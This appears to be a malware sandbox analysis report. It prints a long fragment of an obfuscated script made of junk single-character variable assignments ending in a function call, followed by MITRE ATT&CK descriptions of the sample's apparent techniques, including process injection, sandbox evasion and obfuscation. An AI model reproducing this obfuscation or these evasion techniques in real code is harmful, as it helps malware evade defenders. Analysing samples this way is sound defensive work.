681	qcrbzccty = "n";
682	qcrbzccty = "C";
683	qcrbzccty = "g";
684	qcrbzccty = "D";
685	qcrbzccty = "e";
686	qcrbzccty = "I";
687	qcrbzccty = "N";
688	qcrbzccty = "Q";
689	qcrbzccty = "r";
690	qcrbzccty = "o";
691	csffvheb = "m";
692	csffvheb = "B";
693	csffvheb = "b";
694	csffvheb = "L";
695	csffvheb = "L";
696	csffvheb = "m";
697	csffvheb = "g";
698	csffvheb = "X";
699	csffvheb = "G";
700	csffvheb = "x";
701	csffvheb = "N";
702	csffvheb = "w";
703	csffvheb = "v";
704	csffvheb = "c";
705	csffvheb = "P";
706	csffvheb = "x";
707	csffvheb = "b";
708	csffvheb = "a";
709	csffvheb = "z";
710	csffvheb = "T";
711	csffvheb = "n";
712	csffvheb = "k";
713	csffvheb = "f";
714	csffvheb = "f";
715	csffvheb = "r";
716	csffvheb = "o";
717	csffvheb = "x";
718	csffvheb = "S";
719	csffvheb = "M";
720	csffvheb = "I";
721	csffvheb = "R";
722	csffvheb = "v";
723	csffvheb = "@";
724	pluezo = "W";
725	pluezo = "D";
726	pluezo = "c";
727	pluezo = "P";
728	pluezo = "v";
729	pluezo = "i";
730	pluezo = "J";
731	pluezo = "j";
732	pluezo = "c";
733	pluezo = "D";
734	pluezo = "q";
735	pluezo = "R";
736	pluezo = "h";
737	pluezo = "j";
738	pluezo = "l";
739	frjscepc = "F";
740	frjscepc = "T";
741	frjscepc = "r";
742	frjscepc = "D";
743	frjscepc = "e";
744	frjscepc = "E";
745	frjscepc = "S";
746	frjscepc = "7";
747	qnqsrc = "r";
748	qnqsrc = "N";
749	qnqsrc = "G";
750	qnqsrc = "w";
751	qnqsrc = "y";
752	qnqsrc = "g";
753	qnqsrc = "l";
754	qnqsrc = "n";
755	qnqsrc = "O";
756	qnqsrc = "e";
757	qnqsrc = "P";
758	qnqsrc = "g";
759	qnqsrc = "e";
760	qnqsrc = "m";
761	qnqsrc = "s";
762	qnqsrc = "I";
763	qnqsrc = "G";
764	qnqsrc = "A";
765	qnqsrc = "Q";
766	qnqsrc = "P";
767	qnqsrc = "D";
768	qnqsrc = "p";
769	qnqsrc = "P";
770	qnqsrc = "R";
771	qnqsrc = "c";
772	qnqsrc = "A";
773	qnqsrc = "D";
774	qnqsrc = "B";
775	qnqsrc = "s";
776	qnqsrc = "F";
777	qnqsrc = "p";
778	qnqsrc = "p";
779	qnqsrc = "W";
780	dtxvtq = "W";
781	dtxvtq = "t";
782	dtxvtq = "M";
783	dtxvtq = "h";
784	dtxvtq = "l";
785	dtxvtq = "c";
786	dtxvtq = "V";
787	dtxvtq = "i";
788	dtxvtq = "v";
789	dtxvtq = "h";
790	dtxvtq = "U";
791	dtxvtq = "i";
792	dtxvtq = "m";
793	dtxvtq = "o";
794	dtxvtq = "J";
795	dtxvtq = "v";
796	dtxvtq = "l";
797	dtxvtq = "W";
798	dtxvtq = "r";
799	dtxvtq = "w";
800	dtxvtq = "A";
801	dtxvtq = "P";
802	dtxvtq = "e";
803	dtxvtq = "M";
804	dtxvtq = "b";
805	dtxvtq = "t";
806	dtxvtq = "B";
807	dtxvtq = "U";
808	dtxvtq = "X";
809	dtxvtq = "N";
810	dtxvtq = "P";
811	dtxvtq = "d";
812	dtxvtq = "m";
813	hvkyzsxq = "k";
814	hvkyzsxq = "Y";
815	hvkyzsxq = "J";
816	hvkyzsxq = "q";
817	hvkyzsxq = "n";
818	hvkyzsxq = "C";
819	hvkyzsxq = "C";
820	hvkyzsxq = "Y";
821	hvkyzsxq = "t";
822	hvkyzsxq = "y";
823	hvkyzsxq = "Z";
824	hvkyzsxq = "N";
825	hvkyzsxq = "1";
826	daherwhid = "k";
827	daherwhid = "l";
828	daherwhid = "d";
829	daherwhid = "O";
830	daherwhid = "F";
831	daherwhid = "x";
832	daherwhid = "R";
833	daherwhid = "B";
834	daherwhid = "Q";
835	daherwhid = "k";
836	daherwhid = "b";
837	daherwhid = "d";
838	daherwhid = "m";
839	daherwhid = "s";
840	daherwhid = "R";
841	daherwhid = "v";
842	daherwhid = "k";
843	daherwhid = "I";
844	daherwhid = "u";
845	daherwhid = "j";
846	daherwhid = "d";
847	daherwhid = "W";
848	daherwhid = "F";
849	daherwhid = "x";
850	daherwhid = "S";
851	daherwhid = "u";
852	daherwhid = "F";
853	daherwhid = "k";
854	daherwhid = "D";
855	daherwhid = "L";
856	daherwhid = "H";
857	daherwhid = "V";
858	daherwhid = "A";
859	daherwhid = "n";
860	ivkikuchc = "R";
861	ivkikuchc = "A";
862	ivkikuchc = "G";
863	ivkikuchc = "2";
864	lnagvbj = "I";
865	lnagvbj = "q";
866	lnagvbj = "m";
867	lnagvbj = "N";
868	lnagvbj = "x";
869	lnagvbj = "G";
870	lnagvbj = "H";
871	lnagvbj = "L";
872	lnagvbj = "C";
873	lnagvbj = "W";
874	lnagvbj = "H";
875	lnagvbj = "S";
876	lnagvbj = "E";
877	lnagvbj = "q";
878	lnagvbj = "S";
879	lnagvbj = "J";
880	lnagvbj = "U";
881	lnagvbj = "x";
882	lnagvbj = "Y";
883	lnagvbj = "T";
884	lnagvbj = "G";
885	lnagvbj = "t";
886	lnagvbj = "s";
887	lnagvbj = "v";
888	lnagvbj = "a";
889	lnagvbj = "s";
890	lnagvbj = "r";
891	lnagvbj = "a";
892	lnagvbj = "K";
893	lnagvbj = "z";
894	lnagvbj = "O";
895	lnagvbj = "T";
896	lnagvbj = "j";
897	lnagvbj = "q";
898	lnagvbj = "o";
899	lnagvbj = "3";
900	izgad = "O";
901	izgad = "H";
902	izgad = "E";
903	izgad = "J";
904	izgad = "B";
905	izgad = "X";
906	izgad = "Y";
907	izgad = "G";
908	izgad = "D";
909	izgad = "K";
910	izgad = "I";
911	izgad = "X";
912	izgad = "S";
913	izgad = "z";
914	izgad = "S";
915	izgad = "c";
916	izgad = "w";
917	izgad = "a";
918	izgad = "e";
919	izgad = "9";
920	cpkfgd = "b";
921	cpkfgd = "e";
922	cpkfgd = "Z";
923	cpkfgd = "m";
924	cpkfgd = "b";
925	cpkfgd = "i";
926	cpkfgd = "U";
927	cpkfgd = "G";
928	cpkfgd = "m";
929	cpkfgd = "I";
930	cpkfgd = "R";
931	cpkfgd = "L";
932	cpkfgd = "L";
933	cpkfgd = "j";
934	cpkfgd = "l";
935	cpkfgd = "T";
936	cpkfgd = "c";
937	cpkfgd = "j";
938	cpkfgd = "h";
939	cpkfgd = "c";
940	cpkfgd = "t";
941	cpkfgd = "5";
942	nesxxjt = "R";
943	nesxxjt = "G";
944	nesxxjt = "b";
945	nesxxjt = "G";
946	nesxxjt = "x";
947	nesxxjt = "q";
948	nesxxjt = "z";
949	nesxxjt = "j";
950	nesxxjt = "S";
951	nesxxjt = "e";
952	nesxxjt = "G";
953	nesxxjt = "F";
954	nesxxjt = "m";
955	nesxxjt = "W";
956	nesxxjt = "F";
957	nesxxjt = "u";
958	nesxxjt = "V";
959	nesxxjt = "i";
960	nesxxjt = "m";
961	nesxxjt = "Z";
962	nesxxjt = "S";
963	nesxxjt = "N";
964	nesxxjt = "N";
965	nesxxjt = "t";
966	nesxxjt = "d";
967	nesxxjt = "k";
968	nesxxjt = "K";
969	nesxxjt = "h";
970	nesxxjt = "R";
971	nesxxjt = "b";
972	nesxxjt = "v";
973	nesxxjt = "c";
974	nesxxjt = "f";
975	nesxxjt = "a";
976	nesxxjt = "i";
977	nesxxjt = "B";
978	nesxxjt = "q";
979	dntni = "o";
980	dntni = "t";
981	dntni = "p";
982	dntni = "H";
983	dntni = "e";
984	dntni = "U";
985	dntni = "n";
986	dntni = "y";
987	dntni = "K";
988	dntni = "Z";
989	dntni = "w";
990	dntni = "a";
991	dntni = "a";
992	dntni = "w";
993	dntni = "P";
994	dntni = "t";
995	dntni = "H";
996	ctqgfoln = "h";
997	ctqgfoln = "x";
998	ctqgfoln = "g";
999	ctqgfoln = "l";
1000	ctqgfoln = "U";
1001	ctqgfoln = "W";
1002	ctqgfoln = "Q";
1003	ctqgfoln = "p";
1004	ctqgfoln = "r";
1005	ctqgfoln = "D";
1006	ctqgfoln = "G";
1007	ctqgfoln = "J";
1008	ctqgfoln = "K";
1009	ctqgfoln = "w";
1010	ctqgfoln = "z";
1011	ctqgfoln = "J";
1012	ctqgfoln = "t";
1013	bimtyj = "W";
1014	bimtyj = "h";
1015	bimtyj = "i";
1016	bimtyj = "G";
1017	bimtyj = "Q";
1018	bimtyj = "C";
1019	bimtyj = "F";
1020	bimtyj = "C";
1021	bimtyj = "t";
1022	bimtyj = "S";
1023	bimtyj = "b";
1024	bimtyj = "I";
1025	bimtyj = "C";
1026	bimtyj = "H";
1027	bimtyj = "l";
1028	bimtyj = "S";
1029	bimtyj = "V";
1030	bimtyj = "S";
1031	bimtyj = "F";
1032	bimtyj = "K";
1033	bimtyj = "V";
1034	bimtyj = "h";
1035	bimtyj = "L";
1036	bimtyj = "K";
1037	bimtyj = "j";
1038	bimtyj = "s";
1039	bimtyj = "L";
1040	bimtyj = "P";
1041	bimtyj = "X";
1042	bimtyj = "i";
1043	bimtyj = "T";
1044	bimtyj = "J";
1045	bimtyj = "-";
1046	rhcah = "q";
1047	rhcah = "S";
1048	rhcah = "v";
1049	rhcah = "k";
1050	rhcah = "Y";
1051	rhcah = "b";
1052	rhcah = "i";
1053	rhcah = "I";
1054	rhcah = "F";
1055	rhcah = "T";
1056	rhcah = "b";
1057	rhcah = "b";
1058	rhcah = "Q";
1059	rhcah = "o";
1060	rhcah = "a";
1061	rhcah = "T";
1062	rhcah = "s";
1063	rhcah = "X";
1064	rhcah = "A";
1065	rhcah = "u";
1066	rhcah = "p";
1067	rhcah = "z";
1068	rhcah = "K";
1069	rhcah = "y";
1070	rhcah = "F";
1071	waznjkzw = "J";
1072	waznjkzw = "Q";
1073	waznjkzw = "I";
1074	waznjkzw = "F";
1075	waznjkzw = "E";
1076	waznjkzw = "q";
1077	waznjkzw = "d";
1078	waznjkzw = "e";
1079	waznjkzw = "f";
1080	waznjkzw = "W";
1081	waznjkzw = "K";
1082	waznjkzw = "f";
1083	waznjkzw = "Z";
1084	waznjkzw = "s";
1085	waznjkzw = "N";
1086	iqvinghbv = "D";
1087	iqvinghbv = "f";
1088	iqvinghbv = "g";
1089	iqvinghbv = "a";
1090	iqvinghbv = "T";
1091	iqvinghbv = "L";
1092	iqvinghbv = "I";
1093	iqvinghbv = "O";
1094	iqvinghbv = "C";
1095	iqvinghbv = "H";
1096	iqvinghbv = "K";
1097	iqvinghbv = "C";
1098	iqvinghbv = "Q";
1099	iqvinghbv = "O";
1100	iqvinghbv = "Y";
1101	iqvinghbv = "a";
1102	iqvinghbv = "v";
1103	iqvinghbv = "o";
1104	iqvinghbv = "x";
1105	iqvinghbv = "S";
1106	iqvinghbv = "M";
1107	iqvinghbv = "U";
1108	iqvinghbv = "n";
1109	iqvinghbv = "A";
1110	iqvinghbv = "d";
1111	iqvinghbv = "c";
1112	iqvinghbv = "D";
1113	iqvinghbv = "P";
1114	iqvinghbv = "l";
1115	iqvinghbv = "E";
1116	iqvinghbv = "Q";
1117	pjkfco = "s";
1118	pjkfco = "T";
1119	pjkfco = "H";
1120	pjkfco = "a";
1121	pjkfco = "R";
1122	pjkfco = "K";
1123	pjkfco = "h";
1124	pjkfco = "n";
1125	pjkfco = "y";
1126	pjkfco = "z";
1127	pjkfco = "t";
1128	pjkfco = "i";
1129	pjkfco = "s";
1130	pjkfco = "w";
1131	pjkfco = "d";
1132	pjkfco = "P";
1133	pjkfco = "e";
1134	pjkfco = "p";
1135	pjkfco = "d";
1136	pjkfco = "D";
1137	pjkfco = "R";
1138	pjkfco = "m";
1139	pjkfco = "C";
1140	pjkfco = "n";
1141	pjkfco = "t";
1142	pjkfco = "g";
1143	pjkfco = "n";
1144	pjkfco = "D";
1145	pjkfco = "q";
1146	pjkfco = "e";
1147	pjkfco = "V";
1148	pjkfco = "O";
1149	pjkfco = "B";
1150	pjkfco = "V";
1151	pjkfco = "U";
1152	pjkfco = "O";
1153	pjkfco = "%";
1154	vtycdtel = "n";
1155	vtycdtel = "J";
1156	vtycdtel = "m";
1157	vtycdtel = "q";
1158	vtycdtel = "g";
1159	vtycdtel = "M";
1160	vtycdtel = "m";
1161	vtycdtel = "J";
1162	vtycdtel = "Y";
1163	vtycdtel = "D";
1164	vtycdtel = "J";
1165	vtycdtel = " ";
1166	fnehyqk = "m";
1167	fnehyqk = "s";
1168	fnehyqk = "j";
1169	fnehyqk = "v";
1170	fnehyqk = "k";
1171	fnehyqk = "p";
1172	fnehyqk = "w";
1173	fnehyqk = "u";
1174	fnehyqk = "C";
1175	fnehyqk = "x";
1176	fnehyqk = "E";
1177	fnehyqk = "a";
1178	fnehyqk = "f";
1179	fnehyqk = "N";
1180	fnehyqk = "T";
1181	fnehyqk = "N";
1182	fnehyqk = "q";
1183	fnehyqk = "A";
1184	fnehyqk = "n";
1185	fnehyqk = "R";
1186	fnehyqk = "q";
1187	fnehyqk = "F";
1188	fnehyqk = "v";
1189	fnehyqk = "y";
1190	fnehyqk = "t";
1191	fnehyqk = "K";
1192	fnehyqk = "o";
1193	fnehyqk = "c";
1194	fnehyqk = "n";
1195	fnehyqk = "K";
1196	fnehyqk = "K";
1197	fnehyqk = "V";
1198	fnehyqk = "S";
1199	fnehyqk = "P";
1200	fnehyqk = "N";
1201	fnehyqk = "h";
1202	fnehyqk = "h";
1203	fnehyqk = "P";
1204	fnehyqk = "v";
1205	fnehyqk = ":";
1206	hltgmikgq = "T";
1207	cwjksizyz = "C";
1208	cwjksizyz = "Q";
1209	cwjksizyz = "z";
1210	cwjksizyz = "e";
1211	cwjksizyz = "R";
1212	cwjksizyz = "x";
1213	cwjksizyz = "Y";
1214	cwjksizyz = "B";
1215	cwjksizyz = "y";
1216	cwjksizyz = "F";
1217	cwjksizyz = "c";
1218	cwjksizyz = "l";
1219	cwjksizyz = "o";
1220	cwjksizyz = "y";
1221	cwjksizyz = "D";
1222	cwjksizyz = "B";
1223	cwjksizyz = "l";
1224	cwjksizyz = "k";
1225	eiaxietyj = "I";
1226	eiaxietyj = "O";
1227	eiaxietyj = "a";
1228	eiaxietyj = "s";
1229	eiaxietyj = "l";
1230	eiaxietyj = "d";
1231	eiaxietyj = "l";
1232	eiaxietyj = "E";
1233	eiaxietyj = "Y";
1234	eiaxietyj = "I";
1235	eiaxietyj = "U";
1236	eiaxietyj = "K";
1237	eiaxietyj = "Y";
1238	eiaxietyj = "U";
1239	eiaxietyj = "W";
1240	eiaxietyj = "V";
1241	eiaxietyj = "S";
1242	eiaxietyj = "s";
1243	eiaxietyj = "E";
1244	eiaxietyj = "h";
1245	eiaxietyj = "\"";
1246	phhvqivtw = "u";
1247	phhvqivtw = "G";
1248	phhvqivtw = "N";
1249	phhvqivtw = "R";
1250	phhvqivtw = "r";
1251	phhvqivtw = "Q";
1252	phhvqivtw = "d";
1253	phhvqivtw = "d";
1254	phhvqivtw = "U";
1255	phhvqivtw = "u";
1256	phhvqivtw = "Z";
1257	phhvqivtw = "M";
1258	phhvqivtw = "e";
1259	phhvqivtw = "m";
1260	phhvqivtw = "m";
1261	phhvqivtw = "S";
1262	phhvqivtw = "I";
1263	phhvqivtw = "d";
1264	phhvqivtw = "P";
1265	phhvqivtw = "R";
1266	phhvqivtw = "X";
1267	phhvqivtw = "j";
1268	phhvqivtw = "I";
1269	phhvqivtw = "W";
1270	phhvqivtw = "g";
1271	phhvqivtw = "d";
1272	phhvqivtw = "a";
1273	phhvqivtw = "_";
1274	otrjnh = "K";
1275	otrjnh = "j";
1276	otrjnh = "K";
1277	otrjnh = "u";
1278	otrjnh = "Z";
1279	otrjnh = "V";
1280	otrjnh = "z";
1281	otrjnh = "s";
1282	otrjnh = "L";
1283	otrjnh = "V";
1284	otrjnh = "y";
1285	otrjnh = "Q";
1286	otrjnh = "x";
1287	otrjnh = "L";
1288	otrjnh = "Z";
1289	otrjnh = "E";
1290	otrjnh = "Q";
1291	otrjnh = "l";
1292	otrjnh = "O";
1293	otrjnh = "q";
1294	otrjnh = "h";
1295	otrjnh = "a";
1296	otrjnh = "L";
1297	otrjnh = "k";
1298	otrjnh = "M";
1299	otrjnh = "b";
1300	otrjnh = "K";
1301	otrjnh = "i";
1302	otrjnh = "C";
1303	otrjnh = "Y";
1304	otrjnh = "A";
1305	otrjnh = "f";
1306	otrjnh = "Y";
1307	otrjnh = "m";
1308	otrjnh = "S";
1309	otrjnh = "y";
1310	otrjnh = "H";
1311	otrjnh = "c";
1312	qazakwofy = "q";
1313	qazakwofy = "T";
1314	qazakwofy = "A";
1315	qazakwofy = "M";
1316	qazakwofy = "O";
1317	qazakwofy = "Y";
1318	qazakwofy = "h";
1319	qazakwofy = "i";
1320	qazakwofy = "B";
1321	qazakwofy = "L";
1322	qazakwofy = "d";
1323	qazakwofy = "Y";
1324	qazakwofy = "o";
1325	qazakwofy = "g";
1326	qazakwofy = "G";
1327	qazakwofy = "V";
1328	qazakwofy = "X";
1329	qazakwofy = "Q";
1330	qazakwofy = "i";
1331	qazakwofy = "v";
1332	qazakwofy = "D";
1333	qazakwofy = "A";
1334	qazakwofy = "e";
1335	qazakwofy = "x";
1336	qazakwofy = "Y";
1337	qazakwofy = "B";
1338	qazakwofy = "l";
1339	qazakwofy = "C";
1340	qazakwofy = "Y";
1341	qazakwofy = "O";
1342	qazakwofy = "G";
1343	qazakwofy = "X";
1344	qazakwofy = "M";
1345	qazakwofy = "x";
1346	qazakwofy = "D";
1347	qazakwofy = "q";
1348	qazakwofy = "C";
1349	qazakwofy = "F";
1350	qazakwofy = "\\";
1351	gbnhqsh = "Z";
1352	gbnhqsh = "X";
1353	gbnhqsh = "i";
1354	gbnhqsh = "F";
1355	gbnhqsh = "q";
1356	gbnhqsh = "/";
1357	fdlqo = "x";
1358	fdlqo = "U";
1359	fdlqo = "A";
1360	fdlqo = "x";
1361	fdlqo = "P";
1362	fdlqo = "f";
1363	fdlqo = "b";
1364	fdlqo = "l";
1365	fdlqo = "V";
1366	fdlqo = "V";
1367	fdlqo = "b";
1368	fdlqo = "z";
1369	fdlqo = "C";
1370	fdlqo = "x";
1371	fdlqo = "n";
1372	fdlqo = "d";
1373	fdlqo = "h";
1374	fdlqo = "f";
1375	fdlqo = "c";
1376	fdlqo = "T";
1377	fdlqo = "w";
1378	fdlqo = "O";
1379	fdlqo = "O";
1380	fdlqo = "Z";
1381	fdlqo = "x";
1382	fdlqo = "t";
1383	fdlqo = "k";
1384	fdlqo = "g";
1385	fdlqo = "g";
1386	fdlqo = "M";
1387	fdlqo = "O";
1388	cvezler = "H";
1389	cvezler = "Z";
1390	cvezler = "v";
1391	cvezler = "y";
1392	cvezler = "k";
1393	cvezler = "i";
1394	cvezler = "Z";
1395	cvezler = "m";
1396	cvezler = "u";
1397	cvezler = "X";
1398	cvezler = "g";
1399	cvezler = "C";
1400	cvezler = "L";
1401	cvezler = "y";
1402	cvezler = "A";
1403	cvezler = "K";
1404	cvezler = "B";
1405	cvezler = "H";
1406	cvezler = "Q";
1407	cvezler = "G";
1408	cvezler = "X";
1409	cvezler = "A";
1410	cvezler = "S";
1411	cvezler = "w";
1412	cvezler = "S";
1413	cvezler = "F";
1414	cvezler = "k";
1415	cvezler = "q";
1416	cvezler = "o";
1417	cvezler = "j";
1418	cvezler = "Z";
1419	cvezler = "h";
1420	cvezler = "N";
1421	cvezler = "T";
1422	cvezler = "I";
1423	cvezler = "V";
1424	cvezler = "y";
1425	cvezler = "s";
1426	cvmzp = "R";
1427	cvmzp = "B";
1428	cvmzp = "F";
1429	cvmzp = "Q";
1430	cvmzp = "O";
1431	cvmzp = "P";
1432	cvmzp = "N";
1433	cvmzp = "b";
1434	cvmzp = "G";
1435	cvmzp = "Y";
1436	cvmzp = "A";
1437	cvmzp = "F";
1438	cvmzp = "W";
1439	cvmzp = "g";
1440	cvmzp = "C";
1441	cvmzp = "D";
1442	cvmzp = "f";
1443	cvmzp = "N";
1444	cvmzp = "u";
1445	cvmzp = "D";
1446	cvmzp = "F";
1447	cvmzp = "O";
1448	cvmzp = "k";
1449	cvmzp = "M";
1450	cvmzp = "d";
1451	cvmzp = "6";
1452	ldfgt = "D";
1453	ldfgt = "z";
1454	ldfgt = "L";
1455	ldfgt = "0";
1456	kgrrrpw = "W";
1457	kgrrrpw = "Z";
1458	kgrrrpw = "k";
1459	kgrrrpw = "w";
1460	kgrrrpw = "P";
1461	kgrrrpw = "c";
1462	kgrrrpw = "b";
1463	kgrrrpw = "w";
1464	kgrrrpw = "P";
1465	orcwviu = "C";
1466	orcwviu = "c";
1467	orcwviu = "H";
1468	orcwviu = "Z";
1469	orcwviu = "x";
1470	orcwviu = "k";
1471	orcwviu = "N";
1472	orcwviu = "k";
1473	orcwviu = "T";
1474	orcwviu = "g";
1475	orcwviu = "E";
1476	orcwviu = "V";
1477	orcwviu = "N";
1478	orcwviu = "J";
1479	orcwviu = "l";
1480	orcwviu = "H";
1481	orcwviu = "I";
1482	orcwviu = "M";
1483	orcwviu = "w";
1484	bdldr = "p";
1485	bdldr = "l";
1486	bdldr = "q";
1487	bdldr = "d";
1488	bdldr = "V";
1489	bdldr = "A";
1490	bdldr = "f";
1491	bdldr = "P";
1492	bdldr = "r";
1493	bdldr = "j";
1494	bdldr = "a";
1495	bdldr = "d";
1496	bdldr = "J";
1497	bdldr = "X";
1498	bdldr = "e";
1499	bdldr = "Y";
1500	bdldr = "T";
1501	bdldr = "C";
1502	bdldr = "C";
1503	bdldr = "H";
1504	bdldr = "s";
1505	bdldr = "D";
1506	bdldr = "U";
1507	bdldr = "C";
1508	bdldr = "h";
1509	bdldr = "S";
1510	bdldr = "x";
1511	bdldr = "J";
1512	bdldr = "k";
1513	bdldr = "A";
1514	bdldr = "c";
1515	bdldr = "E";
1516	bdldr = "h";
1517	bdldr = "g";
1518	bdldr = "L";
1519	bdldr = "U";
1520	bdldr = "V";
1521	bdldr = "R";
1522	rslgi ( );	rslgi() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
